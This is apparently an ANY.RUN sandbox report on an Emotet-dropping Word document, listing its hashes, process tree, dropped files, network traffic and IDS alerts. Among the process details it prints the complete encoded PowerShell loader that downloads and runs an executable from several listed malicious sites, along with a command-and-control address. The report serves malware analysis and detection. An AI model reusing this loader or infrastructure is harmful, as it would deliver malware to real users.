analyze malware
  • Huge database of samples and IOCs
  • Custom VM setup
  • Unlimited submissions
  • Interactive approach
Sign up, it’s free
File name:

Inf_2019_05_23_US9028863.doc

Full analysis: https://app.any.run/tasks/d0ca41e2-6d70-48f5-91f8-0fbf41ae7b04
Verdict: Malicious activity
Threats:

Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns.

Analysis date: May 24, 2019, 22:04:18
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
macros
macros-on-open
generated-doc
opendir
loader
emotet
trojan
emotet-doc
Indicators:
MIME: application/msword
File info: Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Title: Strategist fuchsia hub, Subject: Fantastic Granite Fish, Author: Rachael Nikolaus, Comments: one-to-one Wall Investment Account, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Thu May 23 19:50:00 2019, Last Saved Time/Date: Thu May 23 19:50:00 2019, Number of Pages: 1, Number of Words: 16, Number of Characters: 94, Security: 0
MD5:

2D67FFC69196BB8419118CD74B448412

SHA1:

4BF12BFE6FCBAC3B154FF3B2D21257190B1409CB

SHA256:

DFB0A7BF73B1EFAE7EC07BABA5217E17FFA62815D958071F904B3CB86A0FFD29

SSDEEP:

3072:P77HUUUUUMtyXcyxUUUUUUUUUUUUUTkOQeou5U8qsjXhI:P77HUUUUUMtyXcyxUUUUUUUUUUUUUT5I

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.
  • MALICIOUS

    • Application was dropped or rewritten from another process

      • 305.exe (PID: 3520)
      • 305.exe (PID: 3288)
      • soundser.exe (PID: 3624)
      • soundser.exe (PID: 2148)
      • XYyqIF.exe (PID: 1664)
      • XYyqIF.exe (PID: 2796)
      • soundser.exe (PID: 2900)
      • soundser.exe (PID: 2732)
    • Downloads executable files from the Internet

      • powershell.exe (PID: 2692)
    • Connects to CnC server

      • soundser.exe (PID: 2148)
    • EMOTET was detected

      • soundser.exe (PID: 2148)
    • Emotet process was detected

      • soundser.exe (PID: 3624)
      • soundser.exe (PID: 2900)
    • Changes the autorun value in the registry

      • soundser.exe (PID: 2148)
  • SUSPICIOUS

    • Executed via WMI

      • powershell.exe (PID: 2692)
    • Creates files in the user directory

      • powershell.exe (PID: 2692)
    • PowerShell script executed

      • powershell.exe (PID: 2692)
    • Executable content was dropped or overwritten

      • powershell.exe (PID: 2692)
      • 305.exe (PID: 3288)
      • soundser.exe (PID: 2148)
      • XYyqIF.exe (PID: 1664)
    • Application launched itself

      • 305.exe (PID: 3520)
      • soundser.exe (PID: 3624)
      • XYyqIF.exe (PID: 2796)
      • soundser.exe (PID: 2900)
    • Starts itself from another location

      • 305.exe (PID: 3288)
      • XYyqIF.exe (PID: 1664)
  • INFO

    • Creates files in the user directory

      • WINWORD.EXE (PID: 3132)
    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 3132)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.doc | Microsoft Word document (54.2)
.doc | Microsoft Word document (old ver.) (32.2)

EXIF

FlashPix

CompObjUserType: Microsoft Word 97-2003 Document
CompObjUserTypeLen: 32
Manager: Tremblay
HeadingPairs:
  • Title
  • 1
TitleOfParts: -
HyperlinksChanged: No
SharedDoc: No
LinksUpToDate: No
ScaleCrop: No
AppVersion: 16
CharCountWithSpaces: 109
Paragraphs: 1
Lines: 1
Company: Jenkins, Cartwright and Emmerich
CodePage: Windows Latin 1 (Western European)
Security: None
Characters: 94
Words: 16
Pages: 1
ModifyDate: 2019:05:23 18:50:00
CreateDate: 2019:05:23 18:50:00
TotalEditTime: -
Software: Microsoft Office Word
RevisionNumber: 1
LastModifiedBy: -
Template: Normal.dotm
Comments: one-to-one Wall Investment Account
Keywords: -
Author: Rachael Nikolaus
Subject: Fantastic Granite Fish
Title: Strategist fuchsia hub
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
44
Monitored processes
10
Malicious processes
8
Suspicious processes
0

Behavior graph

Click at the process to see the details
start drop and start drop and start drop and start drop and start winword.exe no specs powershell.exe 305.exe no specs 305.exe #EMOTET soundser.exe no specs #EMOTET soundser.exe xyyqif.exe no specs xyyqif.exe #EMOTET soundser.exe no specs soundser.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
3132"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\Inf_2019_05_23_US9028863.doc"C:\Program Files\Microsoft Office\Office14\WINWORD.EXEexplorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Version:
14.0.6024.1000
2692powershell -nop -e JAB0AHoAMAAwAFMAQwB1AGsAPQAnAGYAYwBCAEYAZAB6AG0AUwAnADsAJABJAEwASwBJAHUAOQAyACAAPQAgACcAMwAwADUAJwA7ACQAUQBoAGQAQQB6AHIAVwA4AD0AJwByAEcAagBDAEgAcQBFADIAJwA7ACQAQwBKAHQAaABGAG8AUQA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQASQBMAEsASQB1ADkAMgArACcALgBlAHgAZQAnADsAJABhAEIAZgBwAEQASQBGAHIAPQAnAGoAaQBtAEUAaQBQACcAOwAkAE8AQwBpAEEAWABiAHAAPQAmACgAJwBuAGUAJwArACcAdwAtAG8AYgAnACsAJwBqACcAKwAnAGUAYwB0ACcAKQAgAE4AZQBUAC4AYABXAEUAYgBDAGwAaQBgAEUAbgBUADsAJABWADAAOQB3AHUAZgA9ACcAaAB0AHQAcAA6AC8ALwBhAHYAYwBpAGwAYQByAGUAeABjAGwAdQBzAGkAdgBlAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AeQA4AHIAZABpADEAegA3ADkAMwA1AC8AQABoAHQAdABwAHMAOgAvAC8AaABlAG4AcgB5AGwAYQBuAGQAZwByAGUAYgBlAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AYQA5ADUAMwA4ADQAMwAvAEAAaAB0AHQAcAA6AC8ALwBtAGEAYQBtAGUAYQBuAGkAbQBhAC4AYwBvAG0ALwBjAGcAaQAtAGIAaQBuAC8AYQB4AGIAeAAwADEAMQA1AC8AQABoAHQAdABwADoALwAvAGMAeQBiAGUAcgBzAGUAYwB1AHIAaQB0AHkAZgBvAHIAeQBvAHUAcgBiAHUAcwBpAG4AZQBzAHMALgBjAG8AbQAvAG8AbABkAF8AZgBvAGwAZABlAHIALwBnAHoAZgBpAHUAdAB2ADQANQA0ADkAMAAvAEAAaAB0AHQAcAA6AC8ALwBxAHMAcQB1AGkAZAAuAGMAbwBtAC8AdABmAHYAYQAvAHYAMwA2ADAALwAnAC4AUwBwAEwASQB0ACgAJwBAACcAKQA7ACQAWQBWAFgAbwBJADMAegBWAD0AJwBTAEcAaQBjAG4ARQAnADsAZgBvAHIAZQBhAGMAaAAoACQAYQBFAE4AMwBxAGwAaAA2ACAAaQBuACAAJABWADAAOQB3AHUAZgApAHsAdAByAHkAewAkAE8AQwBpAEEAWABiAHAALgBkAG8AVwBOAEwATwBhAEQARgBJAGwAZQAoACQAYQBFAE4AMwBxAGwAaAA2ACwAIAAkAEMASgB0AGgARgBvAFEAKQA7ACQAQgB3ADkAcQBtAHAAPQAnAEwAUgBpAGYAaQA0AEsAJwA7AEkAZgAgACgAKAAmACgAJwBHAGUAdAAtAEkAJwArACcAdABlACcAKwAnAG0AJwApACAAJABDAEoAdABoAEYAbwBRACkALgBsAEUATgBHAHQAaAAgAC0AZwBlACAAMgAxADgANQAwACkAIAB7AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgBTAFQAYQBSAFQAKAAkAEMASgB0AGgARgBvAFEAKQA7ACQAVgAzADQAbgA0AHQAPQAnAFIAUQBrAE8ANgBpACcAOwBiAHIAZQBhAGsAOwAkAEsAcwBCAHcAdQBzAD0AJwBoAGYAMgA4AGoAZAA4AGMAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAaABqAGEAWgA2AFAAPQAnAFEAVQB2AF8AWAA4AHoAJwA=C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
wmiprvse.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
3520"C:\Users\admin\305.exe" C:\Users\admin\305.exepowershell.exe
User:
admin
Company:
VMware, Inc.
Integrity Level:
MEDIUM
Description:
VMware Resolution Set
Exit code:
0
Version:
9.6.2.31837
3288--7f889636C:\Users\admin\305.exe
305.exe
User:
admin
Company:
VMware, Inc.
Integrity Level:
MEDIUM
Description:
VMware Resolution Set
Exit code:
0
Version:
9.6.2.31837
3624"C:\Users\admin\AppData\Local\soundser\soundser.exe"C:\Users\admin\AppData\Local\soundser\soundser.exe
305.exe
User:
admin
Company:
VMware, Inc.
Integrity Level:
MEDIUM
Description:
VMware Resolution Set
Exit code:
0
Version:
9.6.2.31837
2148--3ab57678C:\Users\admin\AppData\Local\soundser\soundser.exe
soundser.exe
User:
admin
Company:
VMware, Inc.
Integrity Level:
MEDIUM
Description:
VMware Resolution Set
Exit code:
0
Version:
9.6.2.31837
2796"C:\Users\admin\AppData\Local\soundser\XYyqIF.exe"C:\Users\admin\AppData\Local\soundser\XYyqIF.exesoundser.exe
User:
admin
Company:
VMware, Inc.
Integrity Level:
MEDIUM
Description:
VMware Resolution Set
Exit code:
0
Version:
9.6.2.31837
1664--44e5ea9dC:\Users\admin\AppData\Local\soundser\XYyqIF.exe
XYyqIF.exe
User:
admin
Company:
VMware, Inc.
Integrity Level:
MEDIUM
Description:
VMware Resolution Set
Exit code:
0
Version:
9.6.2.31837
2900"C:\Users\admin\AppData\Local\soundser\soundser.exe"C:\Users\admin\AppData\Local\soundser\soundser.exe
XYyqIF.exe
User:
admin
Company:
VMware, Inc.
Integrity Level:
MEDIUM
Description:
VMware Resolution Set
Exit code:
0
Version:
9.6.2.31837
2732--3ab57678C:\Users\admin\AppData\Local\soundser\soundser.exesoundser.exe
User:
admin
Company:
VMware, Inc.
Integrity Level:
MEDIUM
Description:
VMware Resolution Set
Version:
9.6.2.31837
Total events
1 736
Read events
1 254
Write events
0
Delete events
0

Modification events

No data
Executable files
4
Suspicious files
2
Text files
0
Unknown types
9

Dropped files

PID
Process
Filename
Type
3132WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVRFB55.tmp.cvr
MD5:
SHA256:
2692powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\4CKN7MRUOM4STNKUCFI7.temp
MD5:
SHA256:
2692powershell.exeC:\Users\admin\305.exe
MD5:
SHA256:
3132WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\52DA5961.wmfwmf
MD5:79628BB2A4CC87A27AB48D1CD12A1A1D
SHA256:3613B4683DEDE4FD7B41D5F71EA28711F850635E5BED96D3F47E652FCEFFB8D8
3132WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\EF2C2FEE.wmfwmf
MD5:5E9213D8CD5E7F91459571D8197AD4DD
SHA256:6D63670FF0783B7E13C9C975C9E29CC0B6FF6DDB0CA8F8F3FD153D790B95A599
3132WINWORD.EXEC:\Users\admin\AppData\Local\Temp\Word8.0\MSForms.exdtlb
MD5:1C2E806BB63767CEDCCDE85A8EE8F139
SHA256:F18F90AC602ECFE65BFA4BEECAAD8B41C8117E052FB66BA182B4C328709895D9
3132WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\62C6F43D.wmfwmf
MD5:F0EB833A6DEFD3E7B4BE6D794BD877CB
SHA256:CD9E7ABA05163FDEA5157EE999BE6F599A24E3002D7034859AB26CE68855698C
3132WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotmpgc
MD5:C111F99CD469831004E4547E39009B06
SHA256:3479C3CB813B5D1C331B8400A690378D71DF89F98184E62788F05713D903F6AF
3132WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\44BFC6E0.wmfwmf
MD5:9099B29024FB28DEABBF3E4E0B89DE60
SHA256:8BA366C91A0D47AAD68FD36B96417A2CCF6A36777965FFC224910016DB82C291
3132WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\6E954317.wmfwmf
MD5:4A00BBFFFB2B3931696967354CB3175F
SHA256:9C4B23AED58176BC2F633DC2B625EEE03C5990F4051BC94C88ACD5827E9DD875
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
5
TCP/UDP connections
8
DNS requests
4
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
2692
powershell.exe
GET
200
144.121.69.89:80
http://maameanima.com/cgi-sys/suspendedpage.cgi
US
html
7.41 Kb
suspicious
2692
powershell.exe
GET
301
78.142.209.32:80
http://avcilarexclusive.com/wp-content/y8rdi1z7935/
RU
suspicious
2692
powershell.exe
GET
200
107.180.77.195:80
http://cybersecurityforyourbusiness.com/old_folder/gzfiutv45490/
US
executable
107 Kb
suspicious
2692
powershell.exe
GET
302
144.121.69.89:80
http://maameanima.com/cgi-bin/axbx0115/
US
html
231 b
suspicious
2148
soundser.exe
POST
200
159.65.241.220:8080
http://159.65.241.220:8080/glitch/xian/ringin/
US
binary
81.1 Kb
malicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
2692
powershell.exe
78.142.209.32:80
avcilarexclusive.com
JSC Mediasoft ekspert
RU
suspicious
2692
powershell.exe
160.153.140.243:443
henrylandgrebe.com
GoDaddy.com, LLC
US
unknown
2692
powershell.exe
78.142.209.32:443
avcilarexclusive.com
JSC Mediasoft ekspert
RU
suspicious
2692
powershell.exe
144.121.69.89:80
maameanima.com
Lightower Fiber Networks I, LLC
US
suspicious
2692
powershell.exe
107.180.77.195:80
cybersecurityforyourbusiness.com
GoDaddy.com, LLC
US
suspicious
2148
soundser.exe
159.65.241.220:8080
US
malicious

DNS requests

Domain
IP
Reputation
avcilarexclusive.com
  • 78.142.209.32
suspicious
henrylandgrebe.com
  • 160.153.140.243
unknown
maameanima.com
  • 144.121.69.89
suspicious
cybersecurityforyourbusiness.com
  • 107.180.77.195
suspicious

Threats

PID
Process
Class
Message
2692
powershell.exe
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
2692
powershell.exe
Potentially Bad Traffic
ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download
2692
powershell.exe
Misc activity
ET INFO EXE - Served Attached HTTP
2692
powershell.exe
Misc activity
ET INFO EXE IsDebuggerPresent (Used in Malware Anti-Debugging)
2692
powershell.exe
Misc activity
ET INFO EXE CheckRemoteDebuggerPresent (Used in Malware Anti-Debugging)
2148
soundser.exe
A Network Trojan was detected
MALWARE [PTsecurity] Feodo/Emotet
3 ETPRO signatures available at the full report
No debug info